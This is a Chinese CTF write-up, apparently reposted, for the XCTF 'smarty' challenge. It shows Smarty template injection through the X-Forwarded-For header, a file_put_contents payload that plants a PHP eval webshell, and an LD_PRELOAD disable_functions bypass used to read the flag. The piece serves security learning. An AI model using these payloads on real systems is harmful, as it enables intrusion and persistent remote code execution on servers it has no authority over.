攻防世界 web高手进阶区 9分题 smarty

   日期:2020-10-19     浏览:250    评论:0    
核心提示:继续ctf的旅程,开始攻防世界web高手进阶区的9分题,本文是smarty的writeup

前言

继续ctf的旅程
开始攻防世界web高手进阶区的9分题
本文是smarty的writeup

解题过程

smarty是php模板引擎
这题应该是一个SSTI

进入界面


根据题目和页面最下方build with smarty
确认是用smarty模板
那就有两种可能的注入点:

  • XFF
  • client IP

尝试
将XFF头改为{7*7}


发现current IP的值变为了49
可以确定这里存在SSTI

尝试注入

{ $smarty.version}


得到smarty版本3.1.30

{ phpinfo()}


得到php版本7.2.24

注入方法:

  • 常规{}
  • {php}{/php}标签,已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用
  • {literal}标签,在php5中可以用
  • 静态方法,在在3.1.30的Smarty中被删除
  • {if}标签

总结一下就是在本题中只有常规{}{if}标签可用

先试试常规

{ system('ls')}


没有显示
但之前phpinfo是正常显示的
就迷惑了

试试{if}标签

{ if phpinfo()}{ /if}


phpinfo显示

{ if system('ls')}{ /if}


ls指令又失败了

不死心试试其他注入方法

{ php}phpinfo();{ /php}

{ self::getStreamVariable("file:///etc/passwd")}


都意料之内的直接失败

这说明注入方法还是常规{}{if}标签
但是system可能被干掉了
去看眼phpinfo里面的信息


发现system果然被禁了
且可访问的地址是/var/www/html/
这感觉是可以上传文件进行突破
但一时没有思路
查了好一会儿资料
。。。。。。
这里参考无需sendmail:巧用LD_PRELOAD突破disable_functions
一句话木马

{ if file_put_contents("/var/www/html/shell.php","<?php @eval($_POST['helter']);?>")}{ /if}

蚁剑连接


根据文章
上传bypass_disablefunc.php和bypass_disablefunc_x64.so
具体代码在作者的github上

url访问

/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so 


成功得到flag

结语

smarty的模板注入没啥问题,了解下就懂了
后面巧用LD_PRELOAD突破disable_functions有点妙
也查了好久
学到了

知识点

  • smarty模板注入
  • 巧用LD_PRELOAD突破disable_functions

几篇参考

  • Smarty SSTI
  • [BJDCTF2020]The mystery of ip(xff,smarty模板注入)
  • PHP的模板注入(Smarty模板)
  • 无需sendmail:巧用LD_PRELOAD突破disable_functions
 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服